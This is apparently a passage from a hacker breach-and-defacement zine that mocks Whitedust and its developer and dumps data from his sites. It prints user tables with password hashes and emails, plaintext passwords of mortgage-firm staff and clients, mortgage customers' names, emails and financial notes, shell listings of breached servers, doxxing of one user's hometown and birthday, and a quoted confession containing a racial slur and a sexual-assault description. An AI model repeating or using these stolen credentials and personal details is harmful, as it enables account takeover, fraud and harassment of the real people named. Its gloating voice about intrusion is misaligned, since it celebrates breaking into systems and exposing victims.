Ll0yd', 'd1130289b1ea13a6b48153a0148974d1', 'tiggur@tiscali.co.uk',
kim', '824d431874368f9b4a33ff61b45781cc', 'kimholland@gmail.com',
krisgesling', '702cc6ea8896531338876af10ed95a17', 'krisgesling@gmail.com',
xof7', 'da6fa909f1c0188c539feb08d4496eb7', 'webtime7@gmail.com',
Cookymonsta', '5225fb1447edfac6f38e70b09cf8868f','turningpointteam@hotmail.com',
ostmovid', 'd629b54c84af88118c662c6e211dbf1e', 'ostmovid@online.no',
14', 'cc33c66b6365f1e37f9523871b837dfe', 'c-14@hackermail.com',
snper12345', '1b98f582482d8143cb0d68e048ea6a8f', 'm81a1@sbcglobal.net',
siputsub', '143796d703e154dbfe669726743b5ee1', 'siputsub@yahoo.com',
ir0xor', '7bdfd5e45b559e2d7819b61dcd308f04', 'one_two_play@hotmail.com',
englishpete', '870e83e084682a2269683929d77ddf8b', 'home@peterbassill.com',
bigguns', '161ebd7d45089b3446ee4e0d86dbcf92', 'bblacklidge@gmail.com',
mjve', 'c888ff51aaaa5e992ef6559f2857d692', 'michaelvanes01@hotmail.com',
picturetaker', '5456fc54c74a297ce994998c2873b370','thisisanfieldxlfc@gmail.com',
Trikk', '43024376b023da494e94f5799e75b1c7', 'tech7com@gmail.com',
misterhak', '1b5f33fc105525d843fa5665bc5d87d7','pinoyclan_community@yahoo.com',
Large', 'c0439fbd53e21ac559d9b0851d0fc439', 'olargeone@gmail.com',
Paris_Hilton', 'e7e9f43efcb7f72bca72aad5b79b7847', 'paris@hilton.com',
gilvicente21', 'e6dd959ca0aa820fb118e248162c5c78','gil_vicente2003@hotmail.com',
Bugs', 'a49b2617faf7603c958606ba876496e9', 'sendai78@gmail.com',
syeldan', 'efe6398127928f1b2e9ef3207fb82663', 'syeldan4@yahoo.de',
mrbungle', '7f53bffd5ead2b36e0f4079d9def8467', 'mizika@gmail.com',
crocodile033', 'c263845d7f4d3395111310792cba78ac','crocodile033@gmail.com',
2old4this', '05f596d647b883159adaf1414688d4f6','londonboyz_786uk@yahoo.co.uk',
Spown', 'eedf39d2f48a0782e85f4d93d2c66b30', 'Ptichka_oksana@yahoo.ca',
tyriekm', '276f8db0b86edaa7fc805516c852c889', 'tyriekm@gmail.com',
aboyandhisrobot', 'f9226917601f102a9094afcbf8b73083','ben@photophobic.net',
treo411', '37b4e2d82900d5e94b8da524fbeb33c0', 'treo411@yahoo.ca',
piis8', 'cd82b6746062668f56b3467f7592f5be', 'piis8@yahoo.com',
signius', '59fde0822a4c110a8269dbf40e56989d', 'darren@signius.co.uk',
PriMeZ', 'a93d8ff406dadba858ce749505da96ce', 'tenthmaelstrom@gmai.com',
PriMeZzZ', 'a93d8ff406dadba858ce749505da96ce', 'tenthmaelstrom@gmail.com',
happy_coder', '275f5d945012ffa70f2bf5c076af18f2','amr_hisham@hotmail.com',

Check out this hilarious dogshit Introduction to Whitedust:

Having firmly established ourselves as the leading independent security
news portal, Whitedust is now the leading distributor of timely and
current 
unbias security news. As we push past our 1st anniversary, Whitedust will
capture the attention of an even larger readership by maintaining our uniq
ue tradition of reporting the news as it happens, not when it suits us.

Confessions REVEALED

INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('16',
'1176746880', 'I have not found an XSS exploit yet :(', '39');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('28',
'1176849651', 'i...i... ime sorry, i program in VB

/me runs nd cries', '93');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('35',
'1176920362', 'When I see IBM servers I touch myself....', '108');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('38',
'1177020530', 'I split a nigga between the eyes with my dick while his ha
nds where bound behind his back&#059; I then blind folded him and thrust
it into his ass without lubrication.

It hurt at first&#059; but we both began to enjoy it near the end.',
'40');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('44',
'1177290307', 'I used to steal credit cards, then blame it on my friends.
.', '68');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('46',
'1177577300', 'I love ponies and goatsex.', '153');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('50',
'1177689335', 'i pick my nose and have no idea how to crack a network. I 
just have some random knowledge of shit and know how to use a few tools
rofl', '158');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('54',
'1177856945', 'I too like bukkake.', '1');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('70',
'1178905963', 'One time, at band camp, I ate a ham sandwich. And by ham s
andwich, I mean a raccoon.', '20');
INSERT INTO `phpizabi_confess`(`id`, `date`, `body`, `user`) VALUES ('72',
'1179152367', 'Sometimes, I piss myself.', '112');

USER:Nick

39:DaMacc
93:screv
108:n00dles
40:LiX <- lix@valvesoftware.co.uk That's what they do at valve. 
68:Zakolus <- watch out kid, now the police will be after you. Too bad
    they know you live in Murfreesboro, Tennesse and that your birthday is
    6/12/1989, huh.
153:cr0w_
158:4ssembler
1:psg
20:Ender
112:cDc <- haha webmaster@cultdeadcow.com pisses himself. No surprise

OK enough lame hakspace stuff. We figured it wasn't even worth logging
unless we couldn't find a quicker way to own WD. Either way it got defaced
immediately.

==endofdayz.net

End of Dayz is the name of the stupid book that psg decided to put
together. We owned this site. Well, there really isn't much to own: check
out some ls:

$ ls
banner.png  cgi-bin  countdown.js  cover.jpg  favicon.ico  index.php 
pressrelease.php  psg  reviews.php  symbol.jpg	video.php
$ ls cgi-bin/
$ ls psg/
EveInstaller-cracked.exe.torrent  cdc-lappy-2.jpg  dsc02535.jpg 
dsc02538.jpg  dsc02541.jpg   garyftw.jpg   massheart.jpg 
psghadyourmum.png
MAC_jon.jpg			  dsc02533.jpg	   dsc02536.jpg 
dsc02539.jpg  eve	     k.txt	   pan.jpg
cdc-lappy-1.jpg 		  dsc02534.jpg	   dsc02537.jpg 
dsc02540.jpg  freeparis.png  mac-suck.png  psg-cdc2.jpg
$

Notice garyftw.jpg. psg actually kept 42MB of videos of Gary McKinnon over
on whitedust.net

Feel free to steal psg's lame pictures.

==celbridge4u.com

Another website that Mark Anderson owns. Again, not much for us to pwn.

$ ls
Business_Plan_Draft_1_18.01.07-_Celbridge___District_Network.pdf	  
LAUNCH ANNOUNCEMENT DOCUMENT.pdf  index.html
Celb[1][1]._&_District_Questionnaire._Draft1.pdf			  
celebridge_network2.jpg
Celbridge and District BusinessNetwork registration form (3)-22.02.07.pdf 
cgi-bin
$ ls cgi-bin/
$ 

==kildarebiz.com

$ ls	 
cgi-bin  dev
$ ls cgi-bin/
$ ls dev/
captchaimg.php	forcelogin.php	forcelogout.php  includes  index.php 
inkadmin  log  templates  viewdocument.php
$ ls dev/includes/
cDatabase.php  cLog.php  cTemplate.php	components  conf.php 
functions.php
$ ls dev/includes/components/
ContactForm.php 	NewSignups.php	   Poll.php	    Referral.php  
  Signup.php	    StaffSignup.php
DropdownNavigation.php	NewsBrowser.php    PollDisplay.php 
RelatedNews.php  SiteMap.php	   Textbox.php
KildareNav.php		PauseScroller.php  RandomQuote.php  Search.php	  
  SpecialOffer.php
$ ls dev/inkadmin/
clearorphans.php       documents.php	      howto.php  logs.php	
openwysiwyg.zip       users.php
components.php	       editglobalelement.php  images	 navigation.php 
setglobalelement.php
configpageelement.php  editpageelement.php    index.php  notes.php	
setpageelement.php
$ head -25 dev/inkadmin/howto.php 
<?
// ink admin page - copyright 2007 Mark Anderson

include '../includes/conf.php';
include '../includes/cLog.php';
include '../includes/cDatabase.php';
include '../includes/cTemplate.php';
$log	= new cLog;
$db	= new cDatabase;

//do login
if ($_REQUEST['loginUsername'] != "") {
	$username = $db->escape ($_REQUEST['loginUsername']);
	$password = $db->escape ($_REQUEST['loginPassword']);

	$query = $db->query("select UserID, Password, RealName, Email,
GroupID, AdminFlag from ink_users where (Username = '$username' and
AdminFlag = 1)");
	$r = $db->fetch_array($query);
	$dbpassword = $r['Password'];
	if ($password == $dbpassword) {
		$_SESSION['Username'] = $username;
		$_SESSION['UserID'] = $r['UserID'];
		$_SESSION['RealName'] = $r['RealName'];
		$_SESSION['Email'] = $r['Email'];
	}
}
$ ls dev/log/
log.txt
$ ls dev/templates/ 
AmiJS.js	 greybox.css	     home-clane.htm	images	       
openwysiwyg	       subpage-clane.htm
blankpage.htm	 greybox.js	     home-maynooth.htm	kildarebiz.css 
staffpage.htm	       subpage-maynooth.htm
companypage.htm  home-celbridge.htm  home.htm		kildarebiz.js  
subpage-celbridge.htm  subpage.htm
$ 

Mark Anderson is very bad at everything he does, including webdesign. In
this case there is a ton of code reuse and css reuse. Poor poor Mark. He's
not a hacker, he's not even a PHP coder.

==www.irelandmortgages.com

Another poor attempt by Anderson to get in on making money.

We didn't actually know that he worked for this company. When did we find
out, you ask? Well, we answer, we found out when we were reading the
database for whitedust.net (omg spoiler: Whitedust is coming!). Anderson
felt it was wise to include absolutely all of their data in the same
database as whitedust.net uses.

We think it is important for the customers of www.irelandmortgages.com
(don't forget the www lawl) to know the stupidity of the people they are
trusting money and information with. 

A great sign of poor management is when you try to go to the website
without a 'www' and this is what you see:

Warning: mysql_connect() [function.mysql-connect]: Access denied for user
'apache'@'localhost' (using password: NO) in
/home/steps2home/domains/irelandmortgages.com/public_html/ink/includes/cDa
tabase.php on line 46
Could not connect: Access denied for user 'apache'@'localhost' (using
password: NO)

In case you were wondering about passwords, here they are:

INSERT INTO `im2_users` VALUES (1, 'mark', 'landl0rd', 'Mark Anderson',
'me@markanderson.ie', 0);
INSERT INTO `im2_users` VALUES (14, 'brendan', 'brendan', 'Brendan Kelly',
'info@irelandmortgages.com', 0);
INSERT INTO `im2_users` VALUES (17, 'Eileen', 'rachel8', 'Eileen Egan',
'Eileen@irelandmortgages.com', 0);
INSERT INTO `im2_users` VALUES (26, 'jean@irelandmortgages.com', 'Oisin',
'Jean Boyle', 'jean@irelandmortgages.com', 0);

We didn't actually ask Mark why he chose such a password (and feels so
strongly about using it elsewhere), but if we did this might have been his
response:

<Cronus> The 0 is for 0wned.

The database is horrendous, it has hundreds of lines that look like this:

INSERT INTO `im2_appform3` VALUES (406, '', '', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '
', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''
, '', '', '', '', '', '', '', '');

In case you wondered, there are eight appforms. I think they actually
differ by a couple of extra fields.

We have a ton of info on any www.irelandmortgages.com customers. Here is a
small idea of what we may have:

CREATE TABLE `im2_clientenquiryform` (
  `ClientID` bigint(30) NOT NULL default '0',
  `ApplicationType` varchar(100) NOT NULL default '',
  `A1_Name` varchar(100) NOT NULL default '',
  `A2_Name` varchar(100) NOT NULL default '',
  `A1_Address` varchar(255) NOT NULL default '',
  `A2_Address` varchar(255) NOT NULL default '',
  `A1_DOB` date NOT NULL default '0000-00-00',
  `A2_DOB` date NOT NULL default '0000-00-00',
  `A1_DaytimeNumber` varchar(100) NOT NULL default '',
  `A2_DaytimeNumber` varchar(100) NOT NULL default '',
  `A1_MobileNumber` varchar(100) NOT NULL default '',
  `A2_MobileNumber` varchar(100) NOT NULL default '',
  `A1_Email` varchar(100) NOT NULL default '',
  `A2_Email` varchar(100) NOT NULL default '',
  `A1_Occupation` varchar(100) NOT NULL default '',
  `A2_Occupation` varchar(100) NOT NULL default '',
  `A1_EmploymentStatus` varchar(100) NOT NULL default '',
  `A2_EmploymentStatus` varchar(100) NOT NULL default '',
  `A1_EmployersName` varchar(100) NOT NULL default '',
  `A2_EmployersName` varchar(100) NOT NULL default '',
  `A1_BasicSalary` varchar(100) NOT NULL default '',
  `A2_BasicSalary` varchar(100) NOT NULL default '',
  `A1_Overtime` varchar(100) NOT NULL default '',
  `A2_Overtime` varchar(100) NOT NULL default '',
  `A1_OvertimeFreq` varchar(100) NOT NULL default '',
  `A2_OvertimeFreq` varchar(100) NOT NULL default '',
  `A1_Bonus` varchar(100) NOT NULL default '',
  `A2_Bonus` varchar(100) NOT NULL default '',
  `A1_BonusFreq` varchar(100) NOT NULL default '',
  `A2_BonusFreq` varchar(100) NOT NULL default '',
  `A1_Commission` varchar(100) NOT NULL default '',
  `A2_Commission` varchar(100) NOT NULL default '',
  `A1_CommissionFreq` varchar(100) NOT NULL default '',
  `A2_CommissionFreq` varchar(100) NOT NULL default '',
  `PurchasePrice` varchar(100) NOT NULL default '',
  `LoanRequired` varchar(100) NOT NULL default '',
  `Term` varchar(100) NOT NULL default '',
  `Rate` varchar(100) NOT NULL default '',
  `A1_Lender1` varchar(100) NOT NULL default '',
  `A2_Lender1` varchar(100) NOT NULL default '',
  `A1_LoanPurpose1` varchar(100) NOT NULL default '',
  `A2_LoanPurpose1` varchar(100) NOT NULL default '',
  `A1_LoanBalance1` varchar(100) NOT NULL default '',
  `A2_LoanBalance1` varchar(100) NOT NULL default '',
  `A1_LoanRepayment1` varchar(100) NOT NULL default '',
  `A2_LoanRepayment1` varchar(100) NOT NULL default '',
  `A1_Lender2` varchar(100) NOT NULL default '',
  `A2_Lender2` varchar(100) NOT NULL default '',
  `A1_LoanPurpose2` varchar(100) NOT NULL default '',
  `A2_LoanPurpose2` varchar(100) NOT NULL default '',
  `A1_LoanBalance2` varchar(100) NOT NULL default '',
  `A2_LoanBalance2` varchar(100) NOT NULL default '',
  `A1_LoanRepayment2` varchar(100) NOT NULL default '',
  `A2_LoanRepayment2` varchar(100) NOT NULL default '',
  `A1_Lender3` varchar(100) NOT NULL default '',
  `A2_Lender3` varchar(100) NOT NULL default '',
  `A1_LoanPurpose3` varchar(100) NOT NULL default '',
  `A2_LoanPurpose3` varchar(100) NOT NULL default '',
  `A1_LoanBalance3` varchar(100) NOT NULL default '',
  `A2_LoanBalance3` varchar(100) NOT NULL default '',
  `A1_LoanRepayment3` varchar(100) NOT NULL default '',
  `A2_LoanRepayment3` varchar(100) NOT NULL default '',
  `A1_SavingsAccount1` varchar(100) NOT NULL default '',
  `A2_SavingsAccount1` varchar(100) NOT NULL default '',
  `A1_SavingsAccount2` varchar(100) NOT NULL default '',
  `A2_SavingsAccount2` varchar(100) NOT NULL default '',
  `A1_Category` varchar(100) NOT NULL default '',
  `A2_Category` varchar(100) NOT NULL default '',
  `A1_ValueExisting` varchar(100) NOT NULL default '',
  `A2_ValueExisting` varchar(100) NOT NULL default '',
  `A1_MortgageBalanceOutstanding` varchar(100) NOT NULL default '',
  `A2_MortgageBalanceOutstanding` varchar(100) NOT NULL default '',
  `A1_ExistingLender` varchar(100) NOT NULL default '',
  `A2_ExistingLender` varchar(100) NOT NULL default '',
  `A1_LoansToBeRefinanced` varchar(100) NOT NULL default '',
  `A2_LoansToBeRefinanced` varchar(100) NOT NULL default '',
  `A1_PotentialRentalIncome` varchar(100) NOT NULL default '',
  `A2_PotentialRentalIncome` varchar(100) NOT NULL default '',
  `FoundHouse` varchar(10) NOT NULL default '',
  `AddressNewHouse` varchar(255) NOT NULL default '',
  `PaidBookingDeposit` varchar(10) NOT NULL default '',
  `WouldLikeConsultation` varchar(10) NOT NULL default '',
  `DesiredDate` varchar(100) NOT NULL default '',
  `DesiredTime` varchar(100) NOT NULL default '',
  `HeardAbout` varchar(255) NOT NULL default '',
  `Comments` varchar(255) NOT NULL default '',
  `RequireSolicitor` varchar(10) NOT NULL default '',
  `RequireSnagger` varchar(10) NOT NULL default '',
  `Step` varchar(100) NOT NULL default '',
  `StepNumber` int(10) NOT NULL default '0',
  `StatusText` varchar(255) NOT NULL default '',
  `LastAccess` timestamp NOT NULL default CURRENT_TIMESTAMP on update
CURRENT_TIMESTAMP,
  `ClosingDate` date NOT NULL default '0000-00-00',
  `MiscText` varchar(255) NOT NULL default '',
  `Date` varchar(100) NOT NULL default '',
  `MortgageRefNo` varchar(100) NOT NULL default '',
  `LifeCompanyPolicyNumber` varchar(100) NOT NULL default '',
  PRIMARY KEY  (`ClientID`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

And you may find this interesting:

CREATE TABLE `im2_clientlogin` (
  `ID` bigint(30) NOT NULL auto_increment,
  `Email` varchar(255) NOT NULL default '',
  `Password` varchar(255) NOT NULL default '',
  `Locked` tinyint(2) NOT NULL default '0',
  PRIMARY KEY  (`ID`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=415 ;

-- 
-- Dumping data for table `im2_clientlogin`
-- 

INSERT INTO `im2_clientlogin` VALUES (120, 'ciaran.oreilly@gmail.com',
'moreput', 0);
INSERT INTO `im2_clientlogin` VALUES (205, 'scott.wishart@intel.com',
'mostmay', 0);
INSERT INTO `im2_clientlogin` VALUES (211, 'scott.wishart@intel.com',
'dayworld', 0);
INSERT INTO `im2_clientlogin` VALUES (184, 'scott.wishart@intel.com',
'beenanother', 0);
INSERT INTO `im2_clientlogin` VALUES (145, 'Niall.Carroll@hilton.com',
'whothere', 0);
INSERT INTO `im2_clientlogin` VALUES (174, 'victoria.vogel@marine.ie',
'therethe', 0);
INSERT INTO `im2_clientlogin` VALUES (144, 'jonathan.mcevoy@intel.com',
'beenlast', 0);
INSERT INTO `im2_clientlogin` VALUES (118,
'brendan:@irelandmortgages.com', 'andhow', 0);
INSERT INTO `im2_clientlogin` VALUES (129, 'ciaran.oreilly@gmail.com',
'saidshow', 0);
INSERT INTO `im2_clientlogin` VALUES (116, 'emma-keanr@hotmail.com',
'forcan', 0);
INSERT INTO `im2_clientlogin` VALUES (117, 'ciaran.oreilly@gmail.com',
'madethen', 0);
INSERT INTO `im2_clientlogin` VALUES (261, 'scott.wishart@intel.com',
'threesound', 0);
INSERT INTO `im2_clientlogin` VALUES (182, 'scott.wishart@intel.com',
'othertake', 0);
INSERT INTO `im2_clientlogin` VALUES (132, 'info@irelandmortgages.com',
'partfor', 0);
INSERT INTO `im2_clientlogin` VALUES (185, 'brucecrehan@yahoo.com',
'threeeven', 0);
INSERT INTO `im2_clientlogin` VALUES (135, 'ciaran.oreilly@gmail.com',
'rightcan', 0);
INSERT INTO `im2_clientlogin` VALUES (136, 'eimeardawson@iname.com',
'whilenow', 0);
INSERT INTO `im2_clientlogin` VALUES (137, 'scott.wishart@intel.com',
'numberwho', 0);
INSERT INTO `im2_clientlogin` VALUES (369, 'geoff@wildcard.ie',
'showread', 0);
INSERT INTO `im2_clientlogin` VALUES (243, 'scott.wishart@intel.com',
'throughtwo', 0);
INSERT INTO `im2_clientlogin` VALUES (158, 'jonathan.mcevoy@intel.com',
'useway', 0);
INSERT INTO `im2_clientlogin` VALUES (141, 'a.brown@frkelly.ie',
'everyfew', 0);
INSERT INTO `im2_clientlogin` VALUES (142, 'jonathan.mcevoy@intel.com',
'smallsmall', 0);
INSERT INTO `im2_clientlogin` VALUES (143,
'anthony.dunne@prioneerinvestment.ie', 'shethrough', 0);
INSERT INTO `im2_clientlogin` VALUES (183, 'brucecrehan@yahoo.com',
'helpold', 0);
INSERT INTO `im2_clientlogin` VALUES (257, 'scott.wishart@intel.com',
'whereaway', 0);
INSERT INTO `im2_clientlogin` VALUES (150,
'james.donnelly@ulsterbank.com', 'whereman', 0);
INSERT INTO `im2_clientlogin` VALUES (344, 'yasinx.ali@intel.com',
'suchwas', 0);
INSERT INTO `im2_clientlogin` VALUES (323, 'ndunne06@hotmail.com',
'helpsame', 0);
INSERT INTO `im2_clientlogin` VALUES (157, 'miceal.f.mcevoy@intel.com',
'airmay', 0);
INSERT INTO `im2_clientlogin` VALUES (219, 'scott.wishart@intel.com',
'putwork', 0);
INSERT INTO `im2_clientlogin` VALUES (250, 'scott.wishart@intel.com',
'dayaway', 0);
INSERT INTO `im2_clientlogin` VALUES (162, 'Patrick.Power@daiwasectab.ie',
'nameshow', 0);

(Rest of list cutoff: Pointless).

Watch them keep up to date on your properties:

INSERT INTO `im2_finalvaluation` VALUES (294, '', '', '', '', '', '', '',
'', '', '', '', '', '', '');
(Almost the entire table looks like that)

On all of the clients, we have this kind of information:

INSERT INTO `im2_overview` VALUES (221, '', '', 'Client already owns a PDH
and an Investment property in celbridged valued at 700k with a sma
ll mortgage oustanding on PDH.	Current mortgage with Irish Nationwide. 
Requires 100k to buy 2 sites in limerick and will cross secure with 
existing properties', '', '', '', '', '', '', '', '', '', '', '', '13',
'', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '
', '', '', '', '', '', '', '', '');

and this kind of information!

INSERT INTO `im2_overview2` VALUES (229, '', '', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', 
'', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', '', '', '', '', '', '');

and of course the classic:

INSERT INTO `im2_overview3` VALUES (401, '', '', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', 
'', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '
');

Of course, anything they have ever done with their customers is stored in
this db. Like so:

INSERT INTO `im2_salestasks` VALUES (297, 0, '', '1150070461', 'Followup
with Sean White (get him to contact his doctor re PMA report (go bac
k to Paul in Eagle Star)', 1, 1, '12', '6', '2006', 'Brendan Kelly');

Customers need to ask themselves some question.

1. Why does the owner use his first name as a password?
2. Why does the coder use the same password as he uses elsewhere?
3. Why do none of the four employees use a password longer than eight
   characters?
4. Why are we employing a coder who pretends to be a hacker in his spare
   time?
5. Why is our database being stored with the database of a site that has
   been publicly targetted by hackers?
6. Why are these passwords not hashed?
7. What kind of lame hack wrote this site and designed this database?
8. Why did I decide to give my money to these chavs in the first place,
   especially as they only act as a middle-man for mortgages?

Brenden Kelly has apparently spent 17 years in the financial services
sector, but is new to teh internets!

Yes, this database if full of crap. 27,000 lines of crap. But mixed in all
of that crap there is personal information for all of the customers. We
are not going to do anything malicious with the information at our hands.
But that doesn't mean that nobody else will (or possibly already has). 

We feel that this service did a fine job of representing itself as safe,
and users had no specific reason to expect it to get hacked. It is our
opinion that these clients (should they exist) should be contacted and
have the situation explained to them.

If someone would like to take this noble task upon themselves, here is
some contact information. Some of the data has been cutoff and there are
duplicates (why?), but...noone cares.

(@ changed to (a) to limit potential spam :-)

'Sean Keane', 'brendan(a)irelandmortgages.com');
'Maria Hogan & Oliver O Farrell', 'oliver.o\\''farrell(a)smartforc
'Maria Hogan & Oliver O Farrell', 'oliver.o\\''farrell(a)smartforc
'Niamh O Donnell & Liam Lunney', 'niamh.odonnell(a)csplc.com');
'Gemma & Eimear Campion', 'gemma(a)microsoft.com');
'Miceal McEvoy & Lesley Sharvin', 'miceal.f.mcevoy(a)intel.com');
'Grainne O Connor & Sean Leahy', 'groconnor(a)lehman.com');
'Robert O Reilly & Karen Hynes', 'oreilly(a)hp.com');
'Pat Byrne', 'pbyrne(a)rainmaker.ie');
'Niall Kelleher', 'niall(a)combinedlegal.ie');
'Derek Mc Donnell', 'manager.knocklyon(a)superquinn.ie');
'PLACEHOLDER', 'PLACEHOLDER');
'Brendan Kelly', 'brendan(a)irelandmortgages.com');
 'PLACEHOLDER', 'PLACEHOLDER');
'Brendan Egan & David White', 'brendan.a.egan(a)intel.com');
'Alison O Mahony & Joseph Long', 'alisonomahony2001(a)yahoo.co.uk'
'Alison O Mahony & Joseph Long', 'alisonomahony2001(a)yahoo.co.uk'
'Kevin & Catherine Povall', 'kevpovall(a)eircom.net');
'Tom & Aideen Maher', 'tmaher61(a)indigo.ie');
'Joseph McCormack & Eimear Keogh', 'I.keogh(a)dublinpeople.com');
'Mark Geoghegan', 'aquaclean(a)eircom.net');
'Gordon Flood & Sarah Halgarth', 'gordonflood(a)eircom.net');
'Alvin Dagge & Sonya Walshe', 'alvin.dagge(a)geapt.ie');
'Louise Hogan & Colm Devitt', 'louise(a)bluepages.ie');
'Ronan Mulvaney', 'rmulvaney(a)curamsoftware.com');
'Sean & Ciara Leahy', 'seanleahy73(a)hotmail.com');
'Thomas Foley & Claire Hedderman', 'tomf(a)bizquir.ie');
'Shane Kenny & Lisa Kendrick', 'lisakendrick26(a)hotmail.com');
'Suzanne Wren', 'suzanne.wren(a)map.ie');
'Gunther Plank & Bernice Howe', 'Plank_Gun(a)yahoo.ie');
'Kerian Gorey & Claire Moran', 'cmoran(a)kildarecoco.ie');
'Paul Barry', 'pbstbsttdr(a)aol');
'Raymond & Jenny Wallace', 'raymondpwallace(a)eircom.net');
'Fiona Balfe', 'fiona(a)olympia.ie');
'Bruce Crehan & Paula Ryan', 'bruce.crehan(a)falconholidays.ie');
'Leona Keegan & Ciaran Cullinan', 'leona_keegan(a)ml.com');
'Mary Butler & Ciaran Hughes', 'mary.butler(a)unilever.com');
'Ian Deacon & Anna-Marie Brennan', 'ideac123(a)hotmail.com');
'Gavin Egan', 'gegan01(a)yahoo.com');
'Helene Enberg', 'helene_enberg(a)hotmail.com');
'Michael & Geraldine Littler', '8littleg(a)ie.ibm.com');
'Niamh O Connor & Jonathan Myer', 'niamhoconnor(a)hotmail.com');
'Lorraine Eagleton & Sylvester Mannion', 'l.eagleton(a)contechirel
'Lorraine Eagleton & Sylvester Mannion', 'l.eagleton(a)contechirel
'Adrian & Ann Marie Phelan', 'aphelan(a)tarasupport.co.uk');
'David Flanagan', 'davidflanagan(a)hotmail.com');
'Patrick & Janet Hobbs', 'pandjhobbs(a)eircom.net');
'Dermot & Lorraine McMullen', 'dermotmcm(a)oceanfree.net');
'Sean Cassidy & Shakris Nelis', 'sean_cassidy(a)ryan-hotels.com');
'Donall & Siobhan Howe', 'howby(a)eircom.net');
'Ciara O Connor & Kevin Nee', 'ciara.oconnor(a)db.com');
'Dermot & Maureen Peakin', 'maureenpeakin(a)hotmail.com');
'Gerry & Marian Murphy', 'cgmurphy.gofree.eircom.ie');
'Stephen & Patricia Beirnes', 'sbeirnes(a)eircom.net');
'Conor Gilmartin & Jennifer Rigault', 'conorg(a)esatclear.ie');
'Caroline Kirwin & Mark Lynch', 'ckirwan(a)eircell.ie');
'Anthony & Ann Burton', 'aburton(a)uprighteuro.com');
'Michael Nolan', 'mnolans(a)eircom.net');
'Evgeny Kudryashov', 'brendan(a)irelandmortgages.com');
'Alan Mooney & Claire Noonan', 'mooneyalan(a)aol.com');
'Elaine O Rourke & Mark Davis', 'elaine(a)tpi.ie');
'Margaret Wade', 'Mwade(a)ait.ie');
'Gus Lynch', 'gus_lynch(a)dell.com');
 'Joss Morkens', 'joss(a)iol.ie');
'Test', 'PLACEHOLDER', 'PLACEHOLDER');
 'Brendan Quinn & Claire Garvey Quinn', 'brendanquinn(a)hotmail
 'Brendan Quinn & Claire Garvey Quinn', 'brendanquinn(a)hotmail
 'Karl Dwyer', 'karl.dwyer(a)exel.com');
 'Sandra Byrne', 'sandrabyrne(a)frenchassiciates.com');
 'Niamh O Connor & Jonathan Myers', 'niamhoconnor(a)thesrgrdup.
 'Niamh O Connor & Jonathan Myers', 'niamhoconnor(a)thesrgrdup.
 'Jeff Eldridge & Sarah Barry', 'sarah(a)jeffelbridge.com');
 'Ciara O Connor & Kevin Nee', 'ciara.oconnor(a)db.com');
 'Conor Gilmartin & Jennifer Rigault', 'conorg(a)esatclear.ie')
 'Conor Gilmartin & Jennifer Rigault', 'conorg(a)esatclear.ie')
 'Gareth Egan & Eileen Mooney', 'egang(a)mortgagelink.ie');
 'David Quaid', 'david.quaid(a)escapesoftware.com');
 'Brendan Egan', 'brendan.a.egan(a)intel.com');
 'Anthony & Susan Dunne', 'anthony.dunne(a)pioneerinvest.ie');
 'Stephen & Patricia Beirnes', 'sbeirnes(a)eircom.net');
 'Stephen & Lidice Berningham', 'stephen.bermingham(a)connectcg
 'Stephen & Lidice Berningham', 'stephen.bermingham(a)connectcg
 'Robert O\\''Reilly & Karen Hynes', 'oreilly(a)hp.com');
 'Helen Sheridan', 'helenthegreat(a)hotmail.com');
 'Stephen Young & Caroline Hughes', 'stephen.young(a)dublin.com
 'Stephen Young & Caroline Hughes', 'stephen.young(a)dublin.com
 'Joseph & Ann Barry', 'annbarry(a)iolfree.ie');
 'Michael & Carmel O\\''Brien', 'm.obrien7(a)networld.ie');
 'Morgan Keogh & Hillary Madden', 'hilarymorgan(a)iolfree.ie');
 'Gus Lynch', 'gus_lynch(a)dell.com');
 'Margaret Prendergast', 'margaret.prendergast(a)ceu.eu.int');
 'Kerian Gorey & Claire Moran', 'cmoran(a)kildarecoco.ie');
 'Louise Hogan & Colm Devitt', 'louise(a)bluepages.ie');
 'Derek McDonnell', 'manager.knocklyon(a)superquinn.ie');
 'Winfried Scheidges', 'Ludwin(a)eircom.net');
 'Michael & Geraldine Littler', '8littleg(a)ie.ibm.com');
 'Catheriona & Colm Molloy', 'Colm.Molloy(a)firstchoice.co.uk')
 'Catheriona & Colm Molloy', 'Colm.Molloy(a)firstchoice.co.uk')
 'Justice & Lydia Mushayabasa', 'justicemush(a)eircom.net');
 'Fergal Finnerty', 'fergalfinnerty(a)yahoo.com');
 'Mary Moriarty', 'mmmoriarty(a)hotmail.com');
 'Eileen Mooney & Gareth Egan', 'gegan(a)mortgagelink.ie');
 'Gordon Flood & Sarah Halgarth', 'gordonflood(a)eircom.net');
 'Gerard & Sibolnile Chimbganda', 'gchimnz(a)yahoo.com');
 'Gunther Plank & Bernice Howe', 'gunther.plank(a)kti.ie');
 'Robert Reddin & Alison Behan', 'robbier(a)bizquip.ie');
 'Paul Barry', 'pbstbsttdr(a)aol');
 'Mark Geoghegan', 'aquaclean(a)eircom.net');
 'Michael Nolan', 'mnolans(a)eircom.net');
 'Suzanne Wren', 'suzanne.wren(a)map.ie');
